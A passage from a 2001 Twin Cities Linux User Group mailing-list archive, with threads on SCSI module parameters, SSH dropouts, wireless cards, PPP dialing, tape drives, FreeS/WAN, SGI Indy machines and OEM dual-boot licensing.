Sat Aug 25 21:39:47 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] Installing on machine with adaptec 1510 In-Reply-To: <998747222.24507.17.camel@localhost.localdomain> References: <998174431.1983.71.camel@localhost.localdomain> <20010818191005.A8418@madoka.tatsumaki.org> <998747222.24507.17.camel@localhost.localdomain> Message-ID: <20010825213947.5fa1c771.blayer@qwest.net> On 25 Aug 2001 08:47:01 -0500 "Brady Hegberg" wrote: > Seems like no matter what I try I get "failed to insert aha152x module". > If I can't get this working soon I'll have to give up and install Win98 > (my friend needs the machine by Monday). Does anybody have any ideas I > can try? Or maybe a cheap (<$20) scsi controller? Time to remove the card, and reconcile the jumper settings against the manufacturer's documentation so you can know exactly what resources the card is using. The 'failed to insert module' message sounds like the driver is compiled as a module, not as part of the kernel itself. I don't think that you can pass boottime parameters to a module, so you need to have the parameters subsequent to the 'modprobe' or 'insmod' command, in whatever file is trying to load the driver. If you boot the system from a floppy, you can try to manually insmod or modprobe the module, with all kinds of different parameters until it goes in. Once you get it, record the working settings ;) -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From tanner at real-time.com Sun Aug 26 01:35:59 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] MORE tools besides wireless-tools? Message-ID: <20010826013559.C12055@real-time.com> Any good GUI tools for wireless stuff under linux? http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html Has a list, but to go through them all is bogus. Any recommendations on cool tools for linux checking, monitoring, etc? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From evisuale at mn.mediaone.net Sun Aug 26 04:23:52 2001 From: evisuale at mn.mediaone.net (Erick Stohr) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] connection time out/hang Message-ID: <3B88C028.AF230D98@mn.mediaone.net> Just a question, am I missing something or is it just a poor internet connection, I am logging in remotly via SSH and the damn connection hangs after about 20 seconds, everytime. I am on a cable connection connecting to a DSL connection in CA. I don't see any configuration for SSH (sshd_config) that would be dropping the connection, is this just a bad connection? (I said connection 5 times ) Thanks, Erick From esper at sherohman.org Sun Aug 26 08:25:17 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] Installing on machine with adaptec 1510 In-Reply-To: <20010825213947.5fa1c771.blayer@qwest.net>; from blayer@qwest.net on Sat, Aug 25, 2001 at 09:39:47PM -0500 References: <998174431.1983.71.camel@localhost.localdomain> <20010818191005.A8418@madoka.tatsumaki.org> <998747222.24507.17.camel@localhost.localdomain> <20010825213947.5fa1c771.blayer@qwest.net> Message-ID: <20010826082517.C431@sherohman.org> On Sat, Aug 25, 2001 at 09:39:47PM -0500, Bill Layer wrote: > I don't > think that you can pass boottime parameters to a module, Sure you can! Just add a line to lilo.conf that looks something like append="aha152x=0x340" (Yes, I've used an aha-1520 ISA card before... Incidentally, my card displays its IRQ and I/O settings onscreen during POST, so finding that information was pretty easy.) -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From blayer at qwest.net Sun Aug 26 12:17:05 2001 From: blayer at qwest.net (Bill Layer) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] Installing on machine with adaptec 1510 In-Reply-To: <20010826082517.C431@sherohman.org> References: <998174431.1983.71.camel@localhost.localdomain> <20010818191005.A8418@madoka.tatsumaki.org> <998747222.24507.17.camel@localhost.localdomain> <20010825213947.5fa1c771.blayer@qwest.net> <20010826082517.C431@sherohman.org> Message-ID: <20010826121705.23659ed6.blayer@qwest.net> On Sun, 26 Aug 2001 08:25:17 -0500 "Dave Sherohman" wrote: > On Sat, Aug 25, 2001 at 09:39:47PM -0500, Bill Layer wrote: > > I don't > > think that you can pass boottime parameters to a module, > > Sure you can! Just add a line to lilo.conf that looks something like > > append="aha152x=0x340" I know that works for a driver that is compiled into the kernel, but are you certain that it works for a module loaded seperately? I thought that when loading a module, you had to pass the parameters on the 'insmod' or 'modprobe' line... -.bill.layer.- -.those who are talking don't know, and those who know aren't talking.- -.frogtown.- -.minnesota.- -.u.s.a.- From hick0088 at tc.umn.edu Sun Aug 26 18:50:51 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] connection time out/hang In-Reply-To: <3B88C028.AF230D98@mn.mediaone.net> References: <3B88C028.AF230D98@mn.mediaone.net> Message-ID: <20010826185051.0d644355.hick0088@tc.umn.edu> Erick Stohr wrote: > > Just a question, am I missing something or is it just a poor internet > connection, I am logging in remotly via SSH and the damn connection > hangs after about 20 seconds, everytime. I am on a cable connection > connecting to a DSL connection in CA. I don't see any configuration for > SSH (sshd_config) that would be dropping the connection, is this just a > bad connection? (I said connection 5 times ) Could be dropped packets, which can pretty much stop a connection cold for a while (usually a few minutes). Try running ping for a while (ten minutes or something). I'm not exactly sure what the best way to fix this would be, but I think there are some tunable parameters for TCP retransmission times in /proc/sys/net/ipv4 -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ A nudist school's colors / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ were clear white and \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) clear blue. [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010826/5108bab5/attachment.pgp From dieman+tclug at ringworld.org Sun Aug 26 22:13:11 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] MORE tools besides wireless-tools? In-Reply-To: <20010826013559.C12055@real-time.com> References: <20010826013559.C12055@real-time.com> Message-ID: <20010826221311.E26388@ringworld.org> * Bob Tanner [010826 01:38]: > Any good GUI tools for wireless stuff under linux? Cisco has some nifty software that works with their cards. But, uh, its like non free and stuff. :| -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From jack at jacku.com Sun Aug 26 22:21:41 2001 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] HP9000/800 g40 In-Reply-To: <0108242252420F.04609@Dingo> References: <0108242252420F.04609@Dingo> Message-ID: <01082622214100.01859@geezer> On Friday 24 August 2001 22:52, you wrote: > howdy all. > > Through a quirk of fate I have the possibility of getting my mits on a > HP9000/800 g40. > > I don't exactly know what that is aside from a cluster of parts roughly the > size of a refridgerator. > > Does anyone know if it's worth the hassle of lugging the thing up two > flights of stairs to try to get linux to run on it? I have zero > experience with this type of equipment and don't really know what sort of > processor memory or whatever is in it. > > I'm pretty sure its a Risc processor with working harddrives. Beyond that > I'm not sure about Mhz or anything. > > Anyone ever play with one of these? If its what I think it is you could run HP-UX (assuming its loaded) until HP (or who ever is building it) finishes the Linux port for it. I had some experience with an HP9000 several years ago but I don't remember the sub-model. The drives are most likely some variation on SCSI. When I was working on one of these I had just started using Linux and used a Linux workstation as an X-terminal for the HP-UX system. It worked well. (I did it in early 1996) Have fun! -- Jack Ungerleider jack@jacku.com From tmechanic at mn.mediaone.net Sun Aug 26 23:31:02 2001 From: tmechanic at mn.mediaone.net (BT) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] HP9000/800 g40 References: <0108242252420F.04609@Dingo> <01082622214100.01859@geezer> Message-ID: <3B89CD06.24F398B0@mn.mediaone.net> If nothing else you can always use it as a space heater From dante at plethora.net Sun Aug 26 23:58:35 2001 From: dante at plethora.net (Daniel Taylor) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] MORE tools besides wireless-tools? In-Reply-To: <20010826221311.E26388@ringworld.org> Message-ID: On Sun, 26 Aug 2001, Scott Dier wrote: > * Bob Tanner [010826 01:38]: > > Any good GUI tools for wireless stuff under linux? > > Cisco has some nifty software that works with their cards. But, uh, its > like non free and stuff. :| > Does it run under Linux and do the cards have Linux drivers? If so, it might be worth the cash. Daniel Taylor > From colin at tyr.med.umn.edu Mon Aug 27 01:35:28 2001 From: colin at tyr.med.umn.edu (Colin Kilbane) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] Price drop on the INDY In-Reply-To: Message-ID: I just dropped the price of my indy in the TCLUG classified by 50 bucks. Colin Kilbane From tanner at real-time.com Mon Aug 27 02:30:33 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] MORE tools besides wireless-tools? In-Reply-To: ; from dante@plethora.net on Sun, Aug 26, 2001 at 11:58:35PM -0500 References: <20010826221311.E26388@ringworld.org> Message-ID: <20010827023033.A2325@real-time.com> Quoting Daniel Taylor (dante@plethora.net): > On Sun, 26 Aug 2001, Scott Dier wrote: > > > * Bob Tanner [010826 01:38]: > > > Any good GUI tools for wireless stuff under linux? > > > > Cisco has some nifty software that works with their cards. But, uh, its > > like non free and stuff. :| > > > Does it run under Linux and do the cards have Linux drivers? > > If so, it might be worth the cash. They Aironet cards rock. Got it to work "out of the box" on a 2.4.9 kernel. I'm playing with the AiroNet 352 AP and the PCMCIA card. And I am very impressed with the distance of this little box. -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From dieman+tclug at ringworld.org Mon Aug 27 02:48:02 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] MORE tools besides wireless-tools? In-Reply-To: References: <20010826221311.E26388@ringworld.org> Message-ID: <20010827024802.G26388@ringworld.org> * Daniel Taylor [010827 00:15]: > On Sun, 26 Aug 2001, Scott Dier wrote: > > * Bob Tanner [010826 01:38]: > > > Any good GUI tools for wireless stuff under linux? > > Cisco has some nifty software that works with their cards. But, uh, its > > like non free and stuff. :| > Does it run under Linux and do the cards have Linux drivers? Yes. The software is avaliable on their site. The 'kernel' end of it is a source patch, afaik. :) The cards are also supported without the special-drivers with an unpached pcmcia-cs. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Mon Aug 27 02:48:47 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] MORE tools besides wireless-tools? In-Reply-To: <20010827023033.A2325@real-time.com> References: <20010826221311.E26388@ringworld.org> <20010827023033.A2325@real-time.com> Message-ID: <20010827024847.H26388@ringworld.org> * Bob Tanner [010827 02:31]: > playing with the AiroNet 352 AP and the PCMCIA card. And I am very impressed > with the distance of this little box. We are actually deploying about 20 of those. They rule :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From tanner at real-time.com Mon Aug 27 04:39:43 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] PPP for RedHat 7.0? Message-ID: <20010827043943.C11437@real-time.com> Been years(!) since I have used analog, so, what is the preferred way of doing ppp under Redhat 7.0 these days? I have not hit the howtos yet, but I'm assuming there is some funky gui thing now, or do we still have to edit the /etc/ppp files? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From andy at theasis.com Mon Aug 27 03:30:02 2001 From: andy at theasis.com (andy@theasis.com) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] PPP for RedHat 7.0? In-Reply-To: <20010827043943.C11437@real-time.com> Message-ID: > Been years(!) since I have used analog, so, what is the preferred way of doing > ppp under Redhat 7.0 these days? > > I have not hit the howtos yet, but I'm assuming there is some funky gui thing > now, or do we still have to edit the /etc/ppp files? wvdial, /etc/wvdial.conf Andy From bgilbertson at stonel.com Mon Aug 27 08:06:54 2001 From: bgilbertson at stonel.com (Bob Gilbertson) Date: Mon Jan 17 13:26:53 2005 Subject: [TCLUG] [OT: Windows] Audio CD writing References: Message-ID: <3B8A45EE.65652718@stonel.com> Check the "knowledge base" here, has some suggestions. http://ask.roxio.com/ Bob Brian wrote: > > My dad just got himself a CD writer for his computer. When he uses > Adaptec CD copier, it makes a CDDA file from the CD audio (digital), and > writes it to a CD (digital). Somehow in this process he's getting pops in > the audio. This makes no sense since it's all digital. Every CD I've > tried burning in this thing does it. It appears to be doing it on several > brands of CDRs so I don't think it's the media. Anyone ever heard of this > before? > > -Brian > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From lxy at cloudnet.com Mon Aug 27 09:53:19 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] [OT: Windows] Audio CD writing In-Reply-To: <20010825213157.7441f661.blayer@qwest.net> Message-ID: On Sat, 25 Aug 2001, Bill Layer wrote: > The short answer is that Adaptec EZ-CD Creator (aka Sleazy CD Creature) is > a piece of junk. And that's the correct answer! After a little investigation, it's getting the pops from the actual extraction. The WAV files that I produce in Sleazy CD have the same problem, it actually sounds BETTER on the burned CD. According to the knowledge base on Roxio (thanks for the link Bob!) I need to tweak my settings in Creature or use a different CD drive. Since it's a new drive I suspect Adaptec more than anything. I may just have to switch to CD paranoia or Musicmatch if the tweaking doesn't fix it. Thanks a lot Bill and Bob! -Brian From lxy at cloudnet.com Mon Aug 27 10:15:54 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] Tape drive Message-ID: I just got a used tape drive. Just in time too, because I've needed to backup and reinstall my system for some time. The thing is, the history of this drive is unknown and before I dump all my precious data to it I want to make sure it's going to perform as designed. Are there any tools or methods for testing tape drives? I've tried some basic stuff (wrote /dev/zero to the tape, tar'd some stuff to it, waiting for my tar to finish so I can try an un-tar) but I'm wondering if there's any diagnostics to test the hardware and such. Any ideas? -Brian From dsherman at real-time.com Mon Aug 27 10:23:53 2001 From: dsherman at real-time.com (Dave Sherman) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] FreeS/WAN kernel Message-ID: <01082710235302.07631@dedannshae.thuria.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hey all, Trying to set up a test box with FreeS/WAN, on RedHat 6.2 with RedHat's 2.2.19 kernel source. The kernel itself compiled and installed just fine, but when I then go to run 'make oldgo' for FreeS/WAN, the script eventually dies with the message: *** IPSEC not in kernel configuration!! But when I do a make menuconfig, I can see that IPSec is in fact enabled. I have looked through the Freeswan mailing list archives, and found someone else with the same problem, and the solution he mentions is rather vague... something about "deleting all in the Linux directory twice" (http://lists.freeswan.org/pipermail/users/2001-May/000247.html). I have mailed him to get clarification, but I am hoping someone here might also have some insight into this. Dave Sherman - -- "Nihil tam munitum quod non expugnari pecunia possit." (No fortification is such that it cannot be subdued with money.) - - Marcus Tullius Cicero, 106-43 B.C. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE7imYJA68l26XsZUYRAmd9AKCDHX/GrhosGqHyyfIkK8BniEuZXACeN4MF FN3U+VSYG24BmOHy8GgwL1o= =F+cv -----END PGP SIGNATURE----- From austad at marketwatch.com Mon Aug 27 13:05:36 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] More wireless fun Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDE04@mspexch2.office.mktw.net> http://www.infoworld.com/articles/hn/xml/01/08/24/010824hnfreewireless.xml?0 827mnam Posted on Slashdot today. Am I the only person in the twin cities who wants to start a wireless community type thing like this?? :) Couple with this: http://www.pbs.org/cringely/pulpit/pulpit20010823.html And you could have a fairly extensive, low-cost, high speed wireless/semi-wired network. Use cable modem and DSL connections for access to the internet. Just broadcast a default route into the network from each internet connection point, and people connecting to the network will generally take the logically closest way out onto the net. You'd have to set up some sort of masquerading/NAT scheme, but that should be no big deal. Keep decent logs/snort database to catch the naughty people, hopefully before your ISP finds out. Jay From doughanson at mediaone.net Mon Aug 27 13:16:24 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] RedHat Install References: <003101c12cc1$6a670050$eaaf7a81@doug> <004f01c12cc4$bfe9b060$940f3c9e@DHENRYW2P> Message-ID: <002e01c12f24$622effe0$eaaf7a81@doug> Thanks for all your suggestions, I installed mandrake 8.1 and it works like a charm :) Douger ----- Original Message ----- From: doug To: tclug-list@mn-linux.org Sent: Friday, August 24, 2001 12:46 PM Subject: Re: [TCLUG] RedHat Install I'm not positive but I didn't think Linux could read an NTFS5.0 partition...but I may be wrong. Doug ----- Original Message ----- From: Doug Hanson To: tclug-list@mn-linux.org Sent: Friday, August 24, 2001 12:22 PM Subject: [TCLUG] RedHat Install Greetings, I am trying to install RedHat 7.0 on a second hard drive of a Win2Kpro system. The problem is that Lilo doesn't see the Windoze partition? It is NTFS. Any suggestions? (besides blowing away windoze) Thanks, Douger -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010827/916e83d9/attachment.html From colin at tyr.med.umn.edu Mon Aug 27 14:39:45 2001 From: colin at tyr.med.umn.edu (Colin Kilbane) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] SGI question In-Reply-To: <002e01c12f24$622effe0$eaaf7a81@doug> Message-ID: How many people have sgi machines out there? I remember that purchess of a butload of indys a while ago, and I was wondering what people were using them for? Colin Kilbane From natecars at real-time.com Mon Aug 27 14:47:01 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] SGI question In-Reply-To: Message-ID: On Mon, 27 Aug 2001, Colin Kilbane wrote: > How many people have sgi machines out there? I remember that purchess of > a butload of indys a while ago, and I was wondering what people were using > them for? Colin, Purchase never actually happened. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jethro at freakzilla.com Mon Aug 27 14:54:59 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] SGI question In-Reply-To: Message-ID: Hi, On Mon, 27 Aug 2001, Colin Kilbane wrote: > How many people have sgi machines out there? I remember that purchess of > a butload of indys a while ago, and I was wondering what people were using > them for? That didn't go through - the seller turned on us. I was going to put it on a pedestal and run ElectroPaint 24/7. Or maybe put a webserver on it. Or both! -Yaron -- From gabe at msi.umn.edu Mon Aug 27 16:25:18 2001 From: gabe at msi.umn.edu (Gabe Turner) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] SGI question In-Reply-To: ; from colin@tyr.med.umn.edu on Mon, Aug 27, 2001 at 02:39:45PM -0500 References: <002e01c12f24$622effe0$eaaf7a81@doug> Message-ID: <20010827162518.A17179@monsoon.msi.umn.edu> On Mon, Aug 27, 2001 at 02:39:45PM -0500, Colin Kilbane wrote: > How many people have sgi machines out there? I remember that purchess of > a butload of indys a while ago, and I was wondering what people were using > them for? I have an Indy at home in my closet. Just using it to take up space ;) Though, I admin SGIs all day at work, so I get my fair share of Irix. Gabe -- ------------------------------------------------------------------------ Gabe Turner gabe@msi.umn.edu SGI Origin Systems Administrator, University of Minnesota Supercomputing Institute for Digital Simulation and Advanced Computation www.msi.umn.edu ------------------------------------------------------------------------ From spencer at sihope.com Mon Aug 27 16:17:49 2001 From: spencer at sihope.com (SpencerUnderground) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] More wireless fun In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDE04@mspexch2.office.mktw.net>; from austad@marketwatch.com on Mon, Aug 27, 2001 at 01:05:36PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDE04@mspexch2.office.mktw.net> Message-ID: <20010827161749.A1007@mudpiefoods.com> > > http://www.infoworld.com/articles/hn/xml/01/08/24/010824hnfreewireless.xml?0 > 827mnam > > Posted on Slashdot today. Am I the only person in the twin cities who wants > to start a wireless community type thing like this?? :) > > Couple with this: http://www.pbs.org/cringely/pulpit/pulpit20010823.html > > And you could have a fairly extensive, low-cost, high speed > wireless/semi-wired network. Use cable modem and DSL connections for access > to the internet. Just broadcast a default route into the network from each > internet connection point, and people connecting to the network will > generally take the logically closest way out onto the net. You'd have to > set up some sort of masquerading/NAT scheme, but that should be no big deal. > > Keep decent logs/snort database to catch the naughty people, hopefully > before your ISP finds out. I am definatly am interested in such a thing. I would be willing to contribute my time and resource for such a noble endeavor. that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From timl at rootdown.net Mon Aug 27 21:10:13 2001 From: timl at rootdown.net (Tim Lupfer) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] SGI question In-Reply-To: ; from colin@tyr.med.umn.edu on Mon, Aug 27, 2001 at 02:39:45PM -0500 References: <002e01c12f24$622effe0$eaaf7a81@doug> Message-ID: <20010827211013.A474@rootdown.net> On Mon, Aug 27, 2001 at 02:39:45PM -0500, Colin Kilbane wrote: + How many people have sgi machines out there? I remember that purchess of + a butload of indys a while ago, and I was wondering what people were using + them for? I have a couple R4600's that I use merely as a source of frustation whenever I am having a really good day, thus, maintaining equilibrium. Speaking of which, does anyone have a working hardhat or alternative indy/linux combo? I've always been intrigued by the potential, but have refused to undertake it without affirmation that indeed, the feat is possible ;) -- Tim Lupfer timl@rootdown.net 0xA7ECF2AB @ pgpkeys.mit.edu www.rootdown.net/~timl You definitely intend to start living sometime soon. From dieman+tclug at ringworld.org Mon Aug 27 22:08:27 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] SGI question In-Reply-To: <20010827211013.A474@rootdown.net> References: <002e01c12f24$622effe0$eaaf7a81@doug> <20010827211013.A474@rootdown.net> Message-ID: <20010827220827.J26388@ringworld.org> * Tim Lupfer [010827 21:13]: > or alternative indy/linux combo? I've always been intrigued by the Give me a machine and a day or two of spare time and I bet I could get debian on it somehow. I think theres a port. :) /me has a hp pa-risc 735 running with debian now. So, the tally is: hppa, m68k, ppc, and two x86 boxes! all running! :) The hppa box is the KDC for my network here. I've only got one of the machines authing against it at the moment. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From colin at tyr.med.umn.edu Mon Aug 27 22:09:52 2001 From: colin at tyr.med.umn.edu (Colin Kilbane) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] SGI question In-Reply-To: <20010827211013.A474@rootdown.net> Message-ID: We ought to get a group of sgi people together one of these meetings here. Colin From clay at fandre.com Tue Aug 28 06:02:47 2001 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] SGI question In-Reply-To: <20010827220827.J26388@ringworld.org> References: <002e01c12f24$622effe0$eaaf7a81@doug> <20010827211013.A474@rootdown.net> <20010827220827.J26388@ringworld.org> Message-ID: <20010828060245.A17157@fandre.com> Scott Dier [dieman+tclug@ringworld.org] wrote: > * Tim Lupfer [010827 21:13]: > > or alternative indy/linux combo? I've always been intrigued by the > > Give me a machine and a day or two of spare time and I bet I could get > debian on it somehow. I think theres a port. :) > > /me has a hp pa-risc 735 running with debian now. > Are you running 0.9.2? Did you install from the iso? I'm having problems with 0.9.2 on my B180L, but 0.9 worked fine. -------------- next part -------------- A non-text attachment was scrubbed... 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It seems like a perfect cover for some shady dealings to me. :-/ Troy From esper at sherohman.org Tue Aug 28 09:05:37 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:26:54 2005 Subject: [TCLUG] An interesting article... In-Reply-To: ; from troy.johnson@health.state.mn.us on Tue, Aug 28, 2001 at 07:32:55AM -0500 References: Message-ID: <20010828090537.A16721@sherohman.org> On Tue, Aug 28, 2001 at 07:32:55AM -0500, Troy.A Johnson wrote: > ..and question to ask: > Why are there no dual (or multi) boot machines > available when one (or more) of the OSes is free, > especially in the age of monsterous hard drives? Does Pogo (www.buypogo.com) count? -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From steveg at transition.com Tue Aug 28 09:07:56 2001 From: steveg at transition.com (Steve Grobe) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] An interesting article... Message-ID: <21F2EFCC0249D211B7AE00C0F201008C8BBFD3@postman.transition.com> I saw this too, it's Scot's last article for Byte I guess. http://www.osnews.com/ Too bad the likes of Gateway, Compaq, Micron and maybe HP (I think that's most of the big OEMs in the retail space) didn't have the balls to get together and tell MS to shove their trade secrets. Dell is the only OEM I can think of off hand that had the balls to ship Linux on desktop machines and I think they offered BeOS at their online store for a while. One more good technology passes without much public notice due to the iron fist of MS. Although some if the "innovations" in Win2K and XP were seen first in BeOS. -----Original Message----- From: Troy.A Johnson [mailto:troy.johnson@health.state.mn.us] Sent: Tuesday, August 28, 2001 7:33 AM To: tclug-list@mn-linux.org Subject: [TCLUG] An interesting article... ..and question to ask: Why are there no dual (or multi) boot machines available when one (or more) of the OSes is free, especially in the age of monsterous hard drives? http://www.byte.com/documents/s=1115/byt20010824s0001/ We already knew this, but perhaps it is a good thing to mention from time to time. And what is the deal with a licensing agreement being a "trade secret"? It seems like a perfect cover for some shady dealings to me. :-/ Troy _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From natecars at real-time.com Tue Aug 28 09:53:46 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] SGI question In-Reply-To: <20010827211013.A474@rootdown.net> Message-ID: On Mon, 27 Aug 2001, Tim Lupfer wrote: > I have a couple R4600's that I use merely as a source of frustation > whenever I am having a really good day, thus, maintaining > equilibrium. Speaking of which, does anyone have a working hardhat > or alternative indy/linux combo? I've always been intrigued by the > potential, but have refused to undertake it without affirmation > that indeed, the feat is possible ;) Debian runs. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From joel at luths.net Tue Aug 28 14:13:08 2001 From: joel at luths.net (joel@luths.net) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] An interesting article... In-Reply-To: References: Message-ID: <999025988.3b8bed4454dbb@www.luths.net> It actually doesn't bother me that Windows/hardware licensing agreements are not readily available, many contracts between businesses are not. Of course calling them a "trade secret" to avoid court examination is total BS. And I agree with the author in that the bootloader issue is a much starker illustration of MS's abuse of its monopoly than the comparatively trivial browser bundling. This is one dangerous company. It's almost morbidly fascinating to see what things they actually get away with. Quoting "Troy.A Johnson" : > ..and question to ask: > Why are there no dual (or multi) boot machines > available when one (or more) of the OSes is free, > especially in the age of monsterous hard drives? > > http://www.byte.com/documents/s=1115/byt20010824s0001/ > > We already knew this, but perhaps it is a > good thing to mention from time to time. And > what is the deal with a licensing agreement being > a "trade secret"? It seems like a perfect cover > for some shady dealings to me. > > :-/ > > Troy > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > From phil at rephil.org Tue Aug 28 17:14:16 2001 From: phil at rephil.org (phil@rephil.org) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] SGI question In-Reply-To: ; from colin@tyr.med.umn.edu on Mon, Aug 27, 2001 at 02:39:45PM -0500 References: <002e01c12f24$622effe0$eaaf7a81@doug> Message-ID: <20010828171416.A19623@superior.rephil.org> On Mon, Aug 27, 2001 at 02:39:45PM -0500, Colin Kilbane wrote: > How many people have sgi machines out there? I remember that purchess of > a butload of indys a while ago, and I was wondering what people were using > them for? I have two Indy's -- one R5k, one R4600. Basically I use them as good X-terminals and killer sound cards. (They have a 24-bit digital out, which I can use with my D/A convertor.) And for quick pix with the IndyCam. From dd-b at dd-b.net Tue Aug 28 19:28:49 2001 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] Linux based BBS? In-Reply-To: <20010821165301.X30458@real-time.com> References: <20010821165301.X30458@real-time.com> Message-ID: Bob Tanner writes: > Anyone have recommendations for a linux based BBS. > > I thought these things died with Atari 2400s, but I guess not. > > I have found several, but I am wondering has any experience using BBS software > under linux. I ran a Fidonet system under Linux for a while; I just let users log in and run a newsreader, and gated the fidonet echomail conferences into my local news spool. -- David Dyer-Bennet / Welcome to the future! / dd-b@dd-b.net Photos: http://dd-b.lighthunters.net/ Book log: http://www.dd-b.net/dd-b/Ouroboros/booknotes/ From lueyb at gridley.ACNS.Carleton.edu Wed Aug 29 04:09:22 2001 From: lueyb at gridley.ACNS.Carleton.edu (Ben Luey) Date: Mon Jan 17 13:26:55 2005 Subject: [TCLUG] CrossOver Plug-in (codeweavers) Message-ID: So I was at LinuxWorld Expo in SF today (live there when not at college), and Codeweavers announced that they've finished the crossover plug-in. It supposedly lets you run quicktime and shockwave / macromedia and ms word /excel viewer and other windows netscape plugins in linux netscape (or mozilla or konqueror, I think). Unforunately, the person at the booth wasn't too tech savy and just showed a quicktime movie being played off the hard drive (but not streamed). Anyone know much about how the crossover plugin works? It doesn't use Wine, I'm told and it appears not to just run the quicktime player, but embedd it somehow. How would you install quicktime with this plugin? If is works well, I'll go grab it at $20 and have quicktime in 